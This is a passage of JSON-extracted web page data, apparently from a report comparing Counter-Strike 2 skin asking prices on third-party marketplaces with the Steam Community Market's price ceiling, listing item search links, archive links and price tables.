            "label": "★ StatTrak™ Butterfly Knife | Urban Masked (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Urban%20Masked%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AK-47 | The Empress (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20The%20Empress%20%28Field-Tested%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Factory New) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "AWP | Medusa (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Medusa%20%28Field-Tested%29"
          },
          {
            "label": "★ StatTrak™ Flip Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Flip%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | DD (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20DD%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Case Hardened (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Case%20Hardened%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir AWP | Redline (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Redline%20%28Well-Worn%29"
          },
          {
            "label": "★ Karambit | Marble Fade (Factory New) | 4th",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AWP | The Prince (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20The%20Prince%20%28Field-Tested%29"
          },
          {
            "label": "★ Driver Gloves | Wave Chaser (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Driver%20Gloves%20%7C%20Wave%20Chaser%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Marble Fade (Minimal Wear) | 7th",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Marble%20Fade%20%28Minimal%20Wear%29"
          },
          {
            "label": "AK-47 | X-Ray (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20X-Ray%20%28Factory%20New%29"
          },
          {
            "label": "MP9 | Wild Lily (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=MP9%20%7C%20Wild%20Lily%20%28Field-Tested%29"
          },
          {
            "label": "AK-47 | Gold Arabesque (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Gold%20Arabesque%20%28Factory%20New%29"
          },
          {
            "label": "AWP | The Prince (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20The%20Prince%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Moto Gloves | Cool Mint (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Moto%20Gloves%20%7C%20Cool%20Mint%20%28Factory%20New%29"
          },
          {
            "label": "★ Bayonet | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A4 | Griffin (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20Griffin%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Pandora's Box (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Battle-Scarred%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Marble Fade (Factory New) | 7th",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 6",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Driver Gloves | Snow Leopard (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Driver%20Gloves%20%7C%20Snow%20Leopard%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | NiKo (Gold) | Krakow 2017",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20NiKo%20%28Gold%29%20%7C%20Krakow%202017"
          },
          {
            "label": "★ Karambit | Fade (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Fade%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Bayonet | Urban Masked (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Bayonet%20%7C%20Urban%20Masked%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir Desert Eagle | Code Red (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Desert%20Eagle%20%7C%20Code%20Red%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir Glock-18 | Twilight Galaxy (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Glock-18%20%7C%20Twilight%20Galaxy%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Lore (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Lore%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Ultraviolet (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Ultraviolet%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Gamma Doppler (Factory New) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Stiletto Knife | Doppler (Minimal Wear) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Stiletto%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam Community Market FAQ ↗",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022227/https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "Subscriber Agreement ↗",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022032/https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "cs2.sh",
            "url": "https://cs2.sh"
          },
          {
            "label": "Open the provenance manifest ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-manifest.json"
          },
          {
            "label": "that snapshot remains here ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/csfloat-catalogue.json"
          },
          {
            "label": "Valve's 2016 in-game item trading update ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921021947/https://store.steampowered.com/oldnews/22883"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Threshold tested",
                "Item categories",
                "Copies listed",
                "Floor value",
                "Absent from Steam"
              ],
              [
                "$1,800",
                "419",
                "18,641",
                "$82,449,526",
                "95.9%"
              ],
              [
                "$2,000",
                "382",
                "15,159",
                "$75,541,325",
                "95.5%"
              ],
              [
                "$2,070",
                "363",
                "12,336",
                "$69,560,305",
                "95.6%"
              ],
              [
                "$2,300",
                "323",
                "11,644",
                "$67,984,432",
                "95.0%"
              ],
              [
                "$2,500",
                "299",
                "10,950",
                "$66,203,929",
                "95.0%"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "Rung",
                "Figure",
                "What kind of fact this is"
              ],
              [
                "Ceiling on Valve's own market",
                "~$1,800",
                "Published rule, stated in the Steam Community Market FAQ."
              ],
              [
                "Dearest ask several marketplaces agree on",
                "$66,285",
                "Measured by us in this snapshot. Sticker | Titan (Holo) | Katowice 2014, quoted by four marketplaces within 5.2% of one another. An ask, not a sale."
              ],
              [
                "Dearest ask seen on any single shelf",
                "$148,954",
                "One marketplace, one copy, no second marketplace agreeing — and equal to a round CNY 1,000,000 at the snapshot rate. Listed here as the outer edge of what sellers ask, and relied on for nothing."
              ],
              [
                "Public marketplace sale",
                "$49,999",
                "Specialist Gloves | Crimson Kimono (FN) on CSFloat, as reported by SteamAnalyst. Platform-recorded, third-party reported."
              ],
              [
                "Reported private sale",
                "$400,000",
                "AK-47 | Case Hardened, reported by PC Gamer in April 2023. Journalism, not a record we hold."
              ],
              [
                "Reported offer, declined",
                "$1,500,000",
                "Blue Gem Karambit, pattern #387. No sale took place and the figure has not been independently confirmed. Included to mark the ceiling of the claims, not to assert a value."
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "#",
                "Item category",
                "Markets",
                "Copies listed",
                "Cheapest ask",
                "Where",
                "Steam ask",
                "Above Steam cap"
              ],
              [
                "001",
                "Souvenir AK-47 | Point Disarray (Field-Tested)",
                "1",
                "1",
                "$148,954.26",
                "Youpin",
                "$119.08",
                "+$147,154.26"
              ],
              [
                "002",
                "Souvenir P2000 | Wicked Sick (Minimal Wear)",
                "2",
                "2",
                "$148,954.26",
                "Youpin",
                "absent",
                "+$147,154.26"
              ],
              [
                "003",
                "Souvenir Desert Eagle | Trigger Discipline (Minimal Wear)",
                "1",
                "1",
                "$148,953.55",
                "Youpin",
                "absent",
                "+$147,153.55"
              ],
              [
                "004",
                "★ StatTrak™ Skeleton Knife | Case Hardened (Factory New) | Blue GemBlue Gem",
                "1",
                "1",
                "$104,267.98",
                "C5Game",
                "absent",
                "+$102,467.98"
              ],
              [
                "005",
                "Souvenir Glock-18 | Water Elemental (Factory New)",
                "1",
                "1",
                "$98,753.00",
                "CSFloat",
                "absent",
                "+$96,953.00"
              ],
              [
                "006",
                "★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 2Phase 2",
                "1",
                "0",
                "$72,821.95",
                "BUFF",
                "absent",
                "+$71,021.95"
              ],
              [
                "007",
                "Sticker | Titan (Holo) | Katowice 2014",
                "4",
                "6",
                "$66,284.65",
                "Youpin",
                "absent",
                "+$64,484.65"
              ],
              [
                "008",
                "Sticker | iBUYPOWER (Holo) | Katowice 2014",
                "2",
                "4",
                "$64,795.10",
                "Youpin",
                "absent",
                "+$62,995.10"
              ],
              [
                "009",
                "★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 4Phase 4",
                "1",
                "0",
                "$56,602.62",
                "BUFF",
                "absent",
                "+$54,802.62"
              ],
              [
                "010",
                "Sticker | Reason Gaming (Holo) | Katowice 2014",
                "4",
                "11",
                "$42,898.62",
                "Youpin",
                "absent",
                "+$41,098.62"
              ],
              [
                "011",
                "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 1Phase 1",
                "2",
                "1",
                "$37,238.57",
                "BUFF",
                "absent",
                "+$35,438.57"
              ],
              [
                "012",
                "Souvenir MP9 | Spy Prototype (Factory New)",
                "1",
                "1",
                "$28,604.60",
                "CSFloat",
                "absent",
                "+$26,804.60"
              ],
              [
                "013",
                "Souvenir FAMAS | Teardown (Battle-Scarred)",
                "1",
                "1",
                "$27,272.27",
                "CSFloat",
                "absent",
                "+$25,472.27"
              ],
              [
                "014",
                "★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 6Phase 6",
                "1",
                "0",
                "$26,811.77",
                "BUFF",
                "absent",
                "+$25,011.77"
              ],
              [
                "015",
                "★ Sport Gloves | Hedge Maze (Factory New)",
                "4",
                "28",
                "$26,811.77",
                "Youpin",
                "absent",
                "+$25,011.77"
              ],
              [
                "016",
                "★ StatTrak™ Karambit | Crimson Web (Factory New)",
                "1",
                "2",
                "$25,000.00",
                "CSFloat",
                "absent",
                "+$23,200.00"
              ],
              [
                "017",
                "Sticker | Team Dignitas (Holo) | Katowice 2014",
                "5",
                "15",
                "$23,667.04",
                "BUFF",
                "absent",
                "+$21,867.04"
              ],
              [
                "018",
                "EMS Katowice 2014 Legends",
                "4",
                "11",
                "$22,879.03",
                "Skinport",
                "absent",
                "+$21,079.03"
              ],
              [
                "019",
                "★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 5Phase 5",
                "1",
                "0",
                "$22,343.14",
                "BUFF",
                "absent",
                "+$20,543.14"
              ],
              [
                "020",
                "★ Sport Gloves | Pandora's Box (Factory New)",
                "4",
                "35",
                "$21,642.76",
                "CSFloat",
                "absent",
                "+$19,842.76"
              ],
              [
                "021",
                "EMS Katowice 2014 Challengers",
                "4",
                "9",
                "$21,010.04",
                "Skinport",
                "absent",
                "+$19,210.04"
              ],
              [
                "022",
                "Sticker | Vox Eminor (Holo) | Katowice 2014",
                "4",
                "12",
                "$18,619.19",
                "Youpin",
                "absent",
                "+$16,819.19"
              ],
              [
                "023",
                "★ StatTrak™ Navaja Knife | Blue Steel (Factory New)",
                "4",
                "10",
                "$18,064.31",
                "Skinport",
                "absent",
                "+$16,264.31"
              ],
              [
                "024",
                "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "1",
                "0",
                "$18,000.00",
                "CSFloat",
                "absent",
                "+$16,200.00"
              ],
              [
                "025",
                "★ StatTrak™ M9 Bayonet | Doppler (Factory New) | Black PearlBlack Pearl",
                "1",
                "0",
                "$17,799.99",
                "CSFloat",
                "absent",
                "+$15,999.99"
              ],
              [
                "026",
                "★ StatTrak™ M9 Bayonet | Ultraviolet (Factory New)",
                "1",
                "1",
                "$17,517.40",
                "CSFloat",
                "absent",
                "+$15,717.40"
              ],
              [
                "027",
                "★ StatTrak™ Skeleton Knife | Crimson Web (Factory New)",
                "1",
                "1",
                "$17,373.82",
                "CSFloat",
                "absent",
                "+$15,573.82"
              ],
              [
                "028",
                "Sticker | Team LDLC.com (Holo) | Katowice 2014",
                "4",
                "5",
                "$17,274.12",
                "C5Game",
                "absent",
                "+$15,474.12"
              ],
              [
                "029",
                "Souvenir AK-47 | Head Shot (Field-Tested)",
                "1",
                "1",
                "$17,092.61",
                "CSFloat",
                "absent",
                "+$15,292.61"
              ],
              [
                "030",
                "StatTrak™ AK-47 | Case Hardened (Factory New) | Tier 1Tier 1",
                "2",
                "3",
                "$15,023.53",
                "Youpin",
                "absent",
                "+$13,223.53"
              ],
              [
                "031",
                "Souvenir M4A4 | In Living Color (Field-Tested)",
                "1",
                "1",
                "$14,895.43",
                "BUFF",
                "absent",
                "+$13,095.43"
              ],
              [
                "032",
                "Souvenir AWP | Gungnir (Minimal Wear)",
                "1",
                "2",
                "$14,895.28",
                "BUFF",
                "absent",
                "+$13,095.28"
              ],
              [
                "033",
                "★ Talon Knife | Case Hardened (Battle-Scarred) | Blue GemBlue Gem",
                "1",
                "1",
                "$14,895.28",
                "C5Game",
                "absent",
                "+$13,095.28"
              ],
              [
                "034",
                "Sticker | Happy (Gold) | Boston 2018",
                "1",
                "1",
                "$14,700.00",
                "CSFloat",
                "absent",
                "+$12,900.00"
              ],
              [
                "035",
                "★ StatTrak™ M9 Bayonet | Doppler (Minimal Wear) | RubyRuby",
                "2",
                "1",
                "$14,496.14",
                "C5Game",
                "absent",
                "+$12,696.14"
              ],
              [
                "036",
                "Souvenir USP-S | Kill Confirmed (Field-Tested)",
                "1",
                "3",
                "$14,393.00",
                "CSFloat",
                "absent",
                "+$12,593.00"
              ],
              [
                "037",
                "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 1Phase 1",
                "2",
                "1",
                "$14,299.61",
                "C5Game",
                "absent",
                "+$12,499.61"
              ],
              [
                "038",
                "Souvenir AK-47 | Wild Lotus (Factory New)",
                "3",
                "5",
                "$14,223.13",
                "CSFloat",
                "absent",
                "+$12,423.13"
              ],
              [
                "039",
                "AK-47 | Wild Lotus (Factory New)",
                "5",
                "290",
                "$14,190.00",
                "CSFloat",
                "absent",
                "+$12,390.00"
              ],
              [
                "040",
                "StatTrak™ M4A4 | Howl (Factory New)",
                "5",
                "107",
                "$13,836.06",
                "Youpin",
                "absent",
                "+$12,036.06"
              ],
              [
                "041",
                "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 2Phase 2",
                "1",
                "0",
                "$13,107.98",
                "BUFF",
                "absent",
                "+$11,307.98"
              ],
              [
                "042",
                "★ StatTrak™ Butterfly Knife | Crimson Web (Factory New)",
                "1",
                "2",
                "$13,000.00",
                "CSFloat",
                "absent",
                "+$11,200.00"
              ],
              [
                "043",
                "Souvenir AK-47 | Wild Lotus (Minimal Wear)",
                "2",
                "3",
                "$12,214.25",
                "BUFF",
                "absent",
                "+$10,414.25"
              ],
              [
                "044",
                "Souvenir M4A4 | Howl (Factory New)",
                "2",
                "3",
                "$11,916.34",
                "Youpin",
                "absent",
                "+$10,116.34"
              ],
              [
                "045",
                "★ Karambit | Marble Fade (Factory New) | 1st1st",
                "3",
                "2",
                "$11,916.34",
                "BUFF",
                "absent",
                "+$10,116.34"
              ],
              [
                "046",
                "★ Skeleton Knife | Case Hardened (Well-Worn) | Blue GemBlue Gem",
                "1",
                "1",
                "$11,633.33",
                "C5Game",
                "absent",
                "+$9,833.33"
              ],
              [
                "047",
                "Souvenir AWP | Gungnir (Factory New)",
                "3",
                "9",
                "$11,601.75",
                "Youpin",
                "absent",
                "+$9,801.75"
              ],
              [
                "048",
                "DreamHack 2014 Cobblestone Souvenir Package",
                "1",
                "3",
                "$11,599.15",
                "CSFloat",
                "absent",
                "+$9,799.15"
              ],
              [
                "049",
                "Souvenir AWP | Dragon Lore (Factory New)",
                "4",
                "43",
                "$11,573.85",
                "CSFloat",
                "absent",
                "+$9,773.85"
              ],
              [
                "050",
                "Souvenir P2000 | Wicked Sick (Field-Tested)",
                "1",
                "1",
                "$11,530.71",
                "CSFloat",
                "absent",
                "+$9,730.71"
              ],
              [
                "051",
                "AWP | Gungnir (Factory New)",
                "5",
                "385",
                "$11,490.00",
                "CSFloat",
                "absent",
                "+$9,690.00"
              ],
              [
                "052",
                "Souvenir PP-Bizon | Death Rattle (Battle-Scarred)",
                "1",
                "3",
                "$11,450.00",
                "CSFloat",
                "absent",
                "+$9,650.00"
              ],
              [
                "053",
                "Souvenir AK-47 | Case Hardened (Battle-Scarred) | Tier 1Tier 1",
                "1",
                "1",
                "$11,425.84",
                "CSFloat",
                "absent",
                "+$9,625.84"
              ],
              [
                "054",
                "★ Butterfly Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "4",
                "2",
                "$11,001.81",
                "Youpin",
                "absent",
                "+$9,201.81"
              ],
              [
                "055",
                "Sticker | Natus Vincere (Holo) | Katowice 2014",
                "4",
                "7",
                "$11,000.00",
                "CSFloat",
                "absent",
                "+$9,200.00"
              ],
              [
                "056",
                "AWP | Dragon Lore (Factory New)",
                "5",
                "389",
                "$10,940.85",
                "CSFloat",
                "absent",
                "+$9,140.85"
              ],
              [
                "057",
                "★ StatTrak™ M9 Bayonet | Crimson Web (Factory New)",
                "1",
                "2",
                "$10,801.23",
                "CSFloat",
                "absent",
                "+$9,001.23"
              ],
              [
                "058",
                "★ Butterfly Knife | Doppler (Factory New) | RubyRuby",
                "4",
                "13",
                "$10,299.99",
                "CSFloat",
                "absent",
                "+$8,499.99"
              ],
              [
                "059",
                "Souvenir Galil AR | Sandstorm (Minimal Wear)",
                "1",
                "1",
                "$10,045.25",
                "CSFloat",
                "absent",
                "+$8,245.25"
              ],
              [
                "060",
                "Souvenir MP9 | Nexus (Battle-Scarred)",
                "1",
                "1",
                "$9,999.99",
                "CSFloat",
                "absent",
                "+$8,199.99"
              ],
              [
                "061",
                "AK-47 | Wild Lotus (Minimal Wear)",
                "4",
                "121",
                "$9,946.47",
                "Youpin",
                "absent",
                "+$8,146.47"
              ],
              [
                "062",
                "AWP | Gungnir (Minimal Wear)",
                "4",
                "142",
                "$9,610.00",
                "CSFloat",
                "absent",
                "+$7,810.00"
              ],
              [
                "063",
                "StatTrak™ M4A4 | Howl (Minimal Wear)",
                "4",
                "29",
                "$9,500.00",
                "CSFloat",
                "absent",
                "+$7,700.00"
              ],
              [
                "064",
                "★ Butterfly Knife | Doppler (Minimal Wear) | RubyRuby",
                "3",
                "0",
                "$9,366.00",
                "CSFloat",
                "absent",
                "+$7,566.00"
              ],
              [
                "065",
                "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | RubyRuby",
                "4",
                "3",
                "$9,014.00",
                "CSFloat",
                "absent",
                "+$7,214.00"
              ],
              [
                "066",
                "Souvenir R8 Revolver | Canal Spray (Factory New)",
                "1",
                "1",
                "$9,000.00",
                "CSFloat",
                "absent",
                "+$7,200.00"
              ],
              [
                "067",
                "★ StatTrak™ Talon Knife | Crimson Web (Factory New)",
                "1",
                "1",
                "$8,937.26",
                "BUFF",
                "absent",
                "+$7,137.26"
              ],
              [
                "068",
                "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 3Phase 3",
                "2",
                "1",
                "$8,887.50",
                "BUFF",
                "absent",
                "+$7,087.50"
              ],
              [
                "069",
                "Souvenir AWP | Dragon Lore (Minimal Wear)",
                "3",
                "22",
                "$8,750.00",
                "CSFloat",
                "absent",
                "+$6,950.00"
              ],
              [
                "070",
                "StatTrak™ AK-47 | Case Hardened (Minimal Wear) | Tier 1Tier 1",
                "3",
                "10",
                "$8,639.35",
                "BUFF",
                "absent",
                "+$6,839.35"
              ],
              [
                "071",
                "★ Specialist Gloves | Crimson Kimono (Factory New)",
                "4",
                "33",
                "$8,609.56",
                "BUFF",
                "absent",
                "+$6,809.56"
              ],
              [
                "072",
                "AWP | Dragon Lore (Minimal Wear)",
                "5",
                "173",
                "$8,524.44",
                "CSFloat",
                "absent",
                "+$6,724.44"
              ],
              [
                "073",
                "★ StatTrak™ Karambit | Doppler (Factory New) | Black PearlBlack Pearl",
                "1",
                "0",
                "$8,100.00",
                "CSFloat",
                "absent",
                "+$6,300.00"
              ],
              [
                "074",
                "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | EmeraldEmerald",
                "5",
                "3",
                "$8,043.53",
                "C5Game",
                "absent",
                "+$6,243.53"
              ],
              [
                "075",
                "★ Sport Gloves | Superconductor (Factory New)",
                "4",
                "30",
                "$7,969.05",
                "C5Game",
                "absent",
                "+$6,169.05"
              ],
              [
                "076",
                "★ StatTrak™ Ursus Knife | Crimson Web (Factory New)",
                "1",
                "1",
                "$7,944.18",
                "BUFF",
                "absent",
                "+$6,144.18"
              ],
              [
                "077",
                "StatTrak™ M4A4 | Howl (Well-Worn)",
                "2",
                "2",
                "$7,877.89",
                "BUFF",
                "absent",
                "+$6,077.89"
              ],
              [
                "078",
                "★ StatTrak™ Karambit | Marble Fade (Minimal Wear) | 2nd2nd",
                "1",
                "1",
                "$7,836.06",
                "CSFloat",
                "absent",
                "+$6,036.06"
              ],
              [
                "079",
                "Souvenir USP-S | Whiteout (Factory New)",
                "2",
                "2",
                "$7,747.58",
                "BUFF",
                "absent",
                "+$5,947.58"
              ],
              [
                "080",
                "Sticker | HellRaisers (Holo) | Katowice 2014",
                "4",
                "20",
                "$7,550.00",
                "CSFloat",
                "absent",
                "+$5,750.00"
              ],
              [
                "081",
                "★ M9 Bayonet | Doppler (Factory New) | RubyRuby",
                "5",
                "17",
                "$7,543.57",
                "Youpin",
                "absent",
                "+$5,743.57"
              ],
              [
                "082",
                "★ Butterfly Knife | Gamma Doppler (Factory New) | EmeraldEmerald",
                "5",
                "40",
                "$7,500.00",
                "CSFloat",
                "absent",
                "+$5,700.00"
              ],
              [
                "083",
                "★ Karambit | Doppler (Factory New) | Black PearlBlack Pearl",
                "4",
                "2",
                "$7,454.28",
                "Youpin",
                "absent",
                "+$5,654.28"
              ],
              [
                "084",
                "Souvenir Glock-18 | Gamma Doppler (Minimal Wear)",
                "1",
                "1",
                "$7,447.71",
                "BUFF",
                "absent",
                "+$5,647.71"
              ],
              [
                "085",
                "Souvenir Glock-18 | Gamma Doppler (Minimal Wear) | EmeraldEmerald",
                "1",
                "0",
                "$7,447.71",
                "BUFF",
                "absent",
                "+$5,647.71"
              ],
              [
                "086",
                "Sticker Slab | Harp of War (Holo)",
                "1",
                "0",
                "$7,447.71",
                "BUFF",
                "absent",
                "+$5,647.71"
              ],
              [
                "087",
                "Sticker | captainMo (Gold) | Boston 2018",
                "1",
                "1",
                "$7,447.71",
                "BUFF",
                "absent",
                "+$5,647.71"
              ],
              [
                "088",
                "Sticker | bondik (Gold) | Boston 2018",
                "2",
                "2",
                "$7,447.68",
                "Youpin",
                "absent",
                "+$5,647.68"
              ],
              [
                "089",
                "Souvenir MP5-SD | Lime Hex (Field-Tested)",
                "1",
                "2",
                "$7,447.56",
                "Youpin",
                "$562.21",
                "+$5,647.56"
              ],
              [
                "090",
                "★ Classic Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem",
                "1",
                "2",
                "$7,447.56",
                "C5Game",
                "absent",
                "+$5,647.56"
              ],
              [
                "091",
                "★ StatTrak™ M9 Bayonet | Doppler (Factory New) | RubyRuby",
                "5",
                "3",
                "$7,298.76",
                "BUFF",
                "absent",
                "+$5,498.76"
              ],
              [
                "092",
                "Souvenir AWP | Gungnir (Field-Tested)",
                "2",
                "6",
                "$7,298.58",
                "Youpin",
                "absent",
                "+$5,498.58"
              ],
              [
                "093",
                "★ StatTrak™ Flip Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem",
                "1",
                "1",
                "$7,282.08",
                "C5Game",
                "absent",
                "+$5,482.08"
              ],
              [
                "094",
                "★ Karambit | Gamma Doppler (Factory New) | EmeraldEmerald",
                "4",
                "13",
                "$7,259.32",
                "Youpin",
                "absent",
                "+$5,459.32"
              ],
              [
                "095",
                "★ Karambit | Doppler (Factory New) | RubyRuby",
                "5",
                "19",
                "$7,222.22",
                "CSFloat",
                "absent",
                "+$5,422.22"
              ],
              [
                "096",
                "★ StatTrak™ Classic Knife | Crimson Web (Factory New)",
                "1",
                "2",
                "$7,215.34",
                "CSFloat",
                "absent",
                "+$5,415.34"
              ],
              [
                "097",
                "★ StatTrak™ Falchion Knife | Scorched (Factory New)",
                "1",
                "1",
                "$7,200.00",
                "CSFloat",
                "absent",
                "+$5,400.00"
              ],
              [
                "098",
                "AK-47 | Wild Lotus (Field-Tested)",
                "5",
                "150",
                "$7,194.49",
                "BUFF",
                "absent",
                "+$5,394.49"
              ],
              [
                "099",
                "AWP | Gungnir (Field-Tested)",
                "5",
                "201",
                "$7,164.70",
                "Youpin",
                "absent",
                "+$5,364.70"
              ],
              [
                "100",
                "★ M9 Bayonet | Doppler (Minimal Wear) | RubyRuby",
                "4",
                "1",
                "$7,149.80",
                "BUFF",
                "absent",
                "+$5,349.80"
              ],
              [
                "101",
                "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 5Phase 5",
                "2",
                "1",
                "$7,149.80",
                "BUFF",
                "absent",
                "+$5,349.80"
              ],
              [
                "102",
                "★ Karambit | Doppler (Minimal Wear) | RubyRuby",
                "4",
                "1",
                "$7,122.25",
                "C5Game",
                "absent",
                "+$5,322.25"
              ],
              [
                "103",
                "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 4Phase 4",
                "1",
                "0",
                "$7,120.01",
                "BUFF",
                "absent",
                "+$5,320.01"
              ],
              [
                "104",
                "StatTrak™ M4A4 | Howl (Field-Tested)",
                "4",
                "37",
                "$7,100.00",
                "CSFloat",
                "absent",
                "+$5,300.00"
              ],
              [
                "105",
                "★ StatTrak™ Huntsman Knife | Crimson Web (Factory New)",
                "1",
                "1",
                "$7,000.00",
                "CSFloat",
                "absent",
                "+$5,200.00"
              ],
              [
                "106",
                "★ M9 Bayonet | Doppler (Factory New) | Black PearlBlack Pearl",
                "4",
                "4",
                "$6,988.68",
                "CSFloat",
                "absent",
                "+$5,188.68"
              ],
              [
                "107",
                "★ StatTrak™ Karambit | Doppler (Factory New) | RubyRuby",
                "4",
                "5",
                "$6,967.93",
                "CSFloat",
                "absent",
                "+$5,167.93"
              ],
              [
                "108",
                "★ Karambit | Gamma Doppler (Minimal Wear) | EmeraldEmerald",
                "3",
                "1",
                "$6,951.10",
                "BUFF",
                "absent",
                "+$5,151.10"
              ],
              [
                "109",
                "★ Butterfly Knife | Gamma Doppler (Minimal Wear) | EmeraldEmerald",
                "4",
                "2",
                "$6,903.02",
                "CSFloat",
                "absent",
                "+$5,103.02"
              ],
              [
                "110",
                "★ StatTrak™ Bayonet | Ultraviolet (Factory New)",
                "1",
                "1",
                "$6,881.43",
